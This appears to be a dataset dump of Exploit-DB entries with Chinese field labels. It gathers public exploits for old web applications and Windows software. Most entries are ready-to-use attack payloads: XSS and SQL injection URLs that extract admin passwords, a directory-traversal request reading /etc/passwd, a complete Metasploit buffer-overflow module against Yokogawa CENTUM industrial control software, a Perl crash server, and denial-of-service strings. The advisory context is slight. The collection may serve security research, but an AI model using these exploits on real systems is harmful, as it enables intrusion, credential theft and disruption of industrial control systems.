QLWD/code_shield huggingface dataset:
标题: vTiger CRM 5.4.0/6.0 RC/6.0.0 GA - 'browse.php' Local File Inclusion EDB-ID: 32213 CVE: 2014-1222 类型: WEBAPPS 平台: PHP 发布日期: 2014-03-12 漏洞利用脚本: CVE:  CVE-2014-1222
Vendor:  Vtiger
Product:  CRM
Affected version:  Vtiger 5.4.0, 6.0 RC & 6.0.0 GA
Fixed version:  Vtiger 6.0.0 Security patch 1
Reported by:  Jerzy Kramarz
Details:

A local file inclusion vulnerability was discovered in the ‘kcfinder’ component of the vtiger CRM 6.0 RC. This could be exploited to include arbitrary files via directory traversal sequences and subsequently disclose contents of arbitrary files.

The following request is a Proof-of-Concept for retrieving /etc/passwd file from remote system.

POST /vtigercrm6rc2/kcfinder/browse.php?type=files&lng=en&act=download HTTP/1.1
Host: 192.168.56.103
Proxy-Connection: keep-alive
Content-Length: 58
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://192.168.56.103
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded
DNT: 1
Referer: http://192.168.56.103/vtigercrm6rc2/kcfinder/browse.php
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8,es;q=0.6,pl;q=0.4
Cookie: PHPSESSID=ejkcv9cl3efa861460ufr39hl2; KCFINDER_showname=on; KCFINDER_showsize=off; KCFINDER_showtime=off; KCFINDER_order=name; KCFINDER_orderDesc=off; KCFINDER_view=thumbs; KCFINDER_displaySettings=off

dir=files&file=/../../../../../../../../../../../etc/passwd

Note: In order to exploit this vulnerability an attacker has to be authenticated.
Impact:

This vulnerability gives an attacker the ability to read local files from the server filesystem.
Exploit:

Exploit code is not required.

Vendor status:
23/12/2013  Advisory created
03/01/2014  Vendor contacted
14/01/2014  CVE obtained
27/01/2014  Vendor contact reattempted
10/02/2014  Vendor working on a fix
12/02/2014  Fix released
13/02/2014  Fix confirmed
11/03/2014  Published URL: https://www.exploit-db.com/exploits/32213
标题: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'index.php?uid' Cross-Site Scripting EDB-ID: 32202 CVE: 2008-3668 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30618/info
    
Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
    
Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/index.php?uid=1"><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/32202
标题: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'album.php?uid' Cross-Site Scripting EDB-ID: 32200 CVE: 2008-3668 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30618/info
  
Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
  
Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/album.php?uid=1"><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/32200
标题: Huawei Technologies eSpace Meeting Service 1.0.0.23 - Local Privilege Escalation EDB-ID: 32205 CVE: 2014-3222 类型: LOCAL 平台: WINDOWS 发布日期: 2014-03-12 漏洞利用脚本: Huawei Technologies eSpace Meeting Service 1.0.0.23 Local Privilege Escalation


Vendor: Huawei Technologies Co., Ltd.
Product web page: http://www.huawei.com
Affected version: 1.0.0.23 (V100R001C03SPC201B050)

Summary: Huawei's eSpace Meeting solution fully meets the needs of enterprise
customers for an integrated daily collaboration system by integrating the
conference server, conference video terminal, conference user authorization,
and teleconference.

Desc: The application is vulnerable to an elevation of privileges vulnerability
which can be used by a simple user that can change the executable file with a
binary of choice. The vulnerability exist due to the improper permissions, with
the 'F' flag (full) for the 'Users' group, for the 'eMservice.exe' binary file.
The service is installed by default to start on system boot with LocalSystem
privileges. Attackers can replace the binary with their rootkit, and on reboot
they get SYSTEM privileges.

Tested on: Microsoft Windows 7 Professional SP1 (EN)


Vulnerbility discovered by Gjoko 'LiquidWorm' Krstic
                           @zeroscience


Advisory ID: ZSL-2014-5171
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5171.php

Huawei ID: Huawei-SA-20140310-01
Huawei Advisory: http://www.huawei.com/en/security/psirt/security-bulletins/security-advisories/hw-329170.htm



18.01.2014

------------------------------------

C:\>sc qc eSpaceMeeting
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: eSpaceMeeting
        TYPE               : 110  WIN32_OWN_PROCESS (interactive)
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\ProgramData\eSpaceMeeting\eMservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : eSpaceMeeting
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>icacls ProgramData\eSpaceMeeting\eMservice.exe
ProgramData\eSpaceMeeting\eMservice.exe BUILTIN\Users:(I)(F)
                                        NT AUTHORITY\SYSTEM:(I)(F)
                                        BUILTIN\Administrators:(I)(F)

Successfully processed 1 files; Failed processing 0 files

C:\>

------------------------------------ URL: https://www.exploit-db.com/exploits/32205
标题: Yokogawa CENTUM CS 3000 - 'BKBCopyD.exe' Remote Buffer Overflow (Metasploit) EDB-ID: 32210 CVE: 2014-0784 类型: REMOTE 平台: WINDOWS 发布日期: 2014-03-12 漏洞利用脚本: ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability
        exists in the service BKBCopyD.exe when handling specially crafted packets. This module has
        been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.
      },
      'Author'         =>
        [
          'juan vazquez',
          'Redsadic <julian.vilas[at]gmail.com>'
        ],
      'References'     =>
        [
          [ 'URL', 'http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf' ],
          [ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2014/03/10/yokogawa-centum-cs3000-vulnerabilities' ]
        ],
      'Payload'        =>
        {
          'Space'          => 373, # 500 for the full RETR argument
          'DisableNops'    => true,
          'BadChars'       => "\x00\x0d\x0a\xff",
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff\xff\xff" # Stack adjustment # add esp, -3500 # double \xff char to put it on memory
        },
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3',
            {
              'Ret'    => 0x6404625d, # push esp # ret # libBKBUtil.dll]
              'Offset' => 123
            }
          ],
        ],
      'DisclosureDate' => 'Mar 10 2014',
      'DefaultTarget'  => 0))

    register_options(
      [
        Opt::RPORT(20111)
      ], self.class)
  end

  def check
    pkt = build_probe
    res = send_pkt(pkt)
    if valid_response?(res)
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end


  def exploit
    data = "RETR "
    data << rand_text(target['Offset'])
    data << [target.ret].pack("V")
    data << payload.encoded
    data << "\n"

    print_status("Trying target #{target.name}, sending #{data.length} bytes...")
    connect
    sock.put(data)
    disconnect
  end

  def build_probe
    "#{rand_text_alpha(10)}\n"
  end

  def send_pkt(data)
    connect
    sock.put(data)
    data = sock.get_once
    disconnect

    return data
  end

  def valid_response?(data)
    return false unless !!data
    return false unless data =~ /500  'yyparse error': command not understood/
    return true
  end

end URL: https://www.exploit-db.com/exploits/32210
标题: Kshop 2.22 - 'kshop_search.php' Cross-Site Scripting EDB-ID: 32190 CVE: 2008-3560 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/30576/info

Kshop is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Kshop 2.22 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/modules/kshop/kshop_search.php" method="POST"> <input type="text" name="search" value="Put your XSS Here !!!"> </form URL: https://www.exploit-db.com/exploits/32190
标题: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'friends.php?uid' Cross-Site Scripting EDB-ID: 32198 CVE: 2008-3668 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30618/info

Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/friends.php?uid=1"><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/32198
标题: RMSOFT MiniShop 1.0 - 'search.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32196 CVE: 2008-4432 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30616/info

RMSOFT MiniShop is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

MiniShop 1.0 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/modules/rmms/search.php?itemsxpag=4"><script>alert(1)</script>&Submit=Go%21&idc=0"><script>alert(2)</script>&key="><script>alert(3)</script> URL: https://www.exploit-db.com/exploits/32196
标题: OpenVms 8.3 Finger Service - Stack Buffer Overflow EDB-ID: 32193 CVE: 2008-5120 类型: DOS 平台: MULTIPLE 发布日期: 2008-08-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/30589/info

The finger service ('fingerd') on OpenVMS is prone to a stack-based buffer-overflow vulnerability because it fails to adequately bounds-check user-supplied input.

Attackers can exploit this issue to execute arbitrary code in the context of the affected application. Failed attempts will likely cause denial-of-service conditions.

We were not told which versions are affected. We will update this BID as more information emerges.

echo `perl -e 'print "a"x1000'` | nc -v victim.example.com 79 URL: https://www.exploit-db.com/exploits/32193
标题: Maxthon Browser 1.x - Content-Type Buffer Overflow EDB-ID: 32197 CVE: 2008-3667 类型: REMOTE 平台: WINDOWS 发布日期: 2008-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30617/info

Maxthon Browser is prone to a buffer-overflow vulnerability.

An attacker can exploit this issue to execute arbitrary code within the context of the affected application. Failed exploit attempts will result in a denial-of-service condition.

Versions prior to Maxthon Browser 2.0 are vulnerable. 

#!/usr/bin/perl  # Maxthon Browser << 2.0 Stack Overflow Crash  # Descoverd by DATA_SNIPER  # Usage:   #connect from maxthon browser to http:/127.0.0.1/
use IO::Socket;
my $sock=new IO::Socket::INET (
Listen    => 1,
                                
LocalAddr => 'localhost',
                                
LocalPort => 80,
                               
Proto     =>
 'tcp');  die unless $sock;
$huge="A" x 1100000;
$|=1;  print "===================================================================\n";
print " Mawthon Browser << 2.0 Stack Overflow Crash\n";
print "               Bug Descoverd by DATA_SNIPER\n";
print " GreetZ To:Alpha_Hunter,Pirat Digital,Xodia,DelataAzize,AT4RE Team,all algerian hackers\n";
print "               Mail me at:Alpha_three3333(at)yahoo(dot)com\n";  print "   BigGreetZ To: www.at4re.com,www.crownhacker.com\n";
print"===================================================================\n";  print " [+] HTTP Server started on port 70... \n";
print" [+]Try IExplore http://127.0.0.1/ \n";
$z=$sock->accept();  print " [+]connection
 Accepted!\n";
do
{
 $ln=<$z>;
 
print $ln;
 chomp $ln;
 
 if (($ln eq "")||($ln eq "\n")||($ln eq "\r"))
 {
  
print " [<>]Sending Evil Packet\n";
  
print $z " HTTP/1.1 200 OK\r\nServer: bugs 3.1.02\r\nContent-Type: $huge\r\nConnection: close\r\n\r\ndone";
  
close($z);
  
exit;
 
}
} while (true); URL: https://www.exploit-db.com/exploits/32197
标题: Yogurt Social Network 3.2 rc1 Module for XOOPS - 'seutubo.php?uid' Cross-Site Scripting EDB-ID: 32199 CVE: 2008-3668 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/30618/info
 
Yogurt Social Network is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
Yogurt Social Network 3.2 rc1 is affected; other versions may also be vulnerable. 

http://www.example.com/[cms]/htdocs/modules/yogurt/seutubo.php?uid=1"><script>alert(1)</script> URL: https://www.exploit-db.com/exploits/32199
标题: KAPhotoservice - 'search.asp?Filename' Cross-Site Scripting EDB-ID: 32185 CVE: 2008-3559 类型: WEBAPPS 平台: ASP 发布日期: 2008-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/30567/info
 
KAPhotoservice is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.
 
http://example.com/path/search.asp?filename="><script>alert("1")</script> URL: https://www.exploit-db.com/exploits/32185
标题: PHP-Nuke Kleinanzeigen Module - 'lid' SQL Injection EDB-ID: 32191 CVE: 2008-3512 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/30577/info

The Kleinanzeigen module for PHP-Nuke is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/modules.php?name=Kleinanzeigen&a_op=visit&lid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Caid%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A
http://www.example.com/modules.php?name=Kleinanzeigen&a_op=visit&lid=-1%2F%2A%2A%2Funion%2F%2A%2A%2Fselect%2F%2A%2A%2F0%2Cpwd%2F%2A%2A%2Ffrom%2F%2A%2A%2Fnuke_authors%2F%2A%2A%2Fwhere%2F%2A%2A%2Fradminsuper%3D1%2F%2A URL: https://www.exploit-db.com/exploits/32191
标题: Qbik WinGate 6.2.2 - 'LIST' Remote Denial of Service EDB-ID: 32195 CVE: 2008-3606 类型: DOS 平台: MULTIPLE 发布日期: 2008-08-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/30606/info

WinGate is prone to a remote denial-of-service vulnerability affecting the application's IMAP email server.

Exploiting this issue will consume computer resources and deny access to legitimate users.

WinGate 6.2.2 is vulnerable; other versions may also be affected. 

The following example command is available:

LIST Ax1000 * URL: https://www.exploit-db.com/exploits/32195
标题: Noticeware Email Server 4.6 - NG LOGIN Messages Denial of Service EDB-ID: 32194 CVE: 2008-3607 类型: DOS 平台: MULTIPLE 发布日期: 2008-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/30605/info

NoticeWare Email Server NG is prone to a denial-of-service vulnerability because it fails to handle user-supplied input.

Remote attackers can exploit this issue to deny service to legitimate users.

NoticeWare Email Server NG 4.6.2 and 4.6.3 are vulnerable; other versions may also be affected. 

The following exploit example is available:

A001 LOGIN Ax5000 AAAAA URL: https://www.exploit-db.com/exploits/32194
标题: KAPhotoservice - 'order.asp?page' Cross-Site Scripting EDB-ID: 32184 CVE: 2008-3559 类型: WEBAPPS 平台: ASP 发布日期: 2008-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/30567/info

KAPhotoservice is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 

 http://example.com/path/order.asp?cat=&apage=&albumid=&page="><script>alert("1")</script> URL: https://www.exploit-db.com/exploits/32184
标题: POWERGAP ShopSystem - 's03.php' SQL Injection EDB-ID: 32179 CVE: 2008-3561 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30558/info

POWERGAP Shopsystem is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/s03.php?shopid=s03&cur=eur&sp=de&ag='[SQL] URL: https://www.exploit-db.com/exploits/32179
标题: PHPKF-Portal 1.10 - 'baslik.php?tema_dizin' Traversal Local File Inclusion EDB-ID: 32182 CVE: 2008-6516 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/30566/info

phpKF-Portal is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

phpKF-Portal 1.10 is vulnerable; other versions may also be affected.

http://www.example.com/path/baslik.php?tema_dizin=../%00LocalFile] URL: https://www.exploit-db.com/exploits/32182
标题: PHPKF-Portal 1.10 - 'anket_yonetim.php?portal_ayarlarportal_dili' Traversal Local File Inclusion EDB-ID: 32183 CVE: 2008-6516 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/30566/info
 
phpKF-Portal is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.
 
phpKF-Portal 1.10 is vulnerable; other versions may also be affected.

http://www.example.com/path/anket_yonetim.php?portal_ayarlarportal_dili=../%00LocalFile] URL: https://www.exploit-db.com/exploits/32183
标题: Softbiz Image Gallery - 'cleanup.php?msg' Cross-Site Scripting EDB-ID: 32177 CVE: 2008-3511 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30546/info
       
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
       
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
       
http://www.example.com/admin/cleanup.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/32177
标题: Softbiz Image Gallery - 'browsecats.php?msg' Cross-Site Scripting EDB-ID: 32178 CVE: 2008-3511 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30546/info
        
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
        
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
        
http://www.example.com/admin/browsecats.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/32178
标题: Battle.net Clan Script 1.5.x - 'index.php' Multiple SQL Injections EDB-ID: 32181 CVE: 2008-3556 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/30565/info

Battle.net Clan Script is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Battle.net Clan Script 1.5.2 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=members&showmember='+union+select+name,1,2,password+from+bcs_members/*

http://www.example.com/index.php?page=board&thread=-9999+union+select+0,1,password,name,4,5,6,7+from+bcs_members/* URL: https://www.exploit-db.com/exploits/32181
标题: Softbiz Image Gallery - 'changepassword.php?msg' Cross-Site Scripting EDB-ID: 32176 CVE: 2008-3511 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30546/info
      
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
      
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
      
http://www.example.com/admin/changepassword.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/32176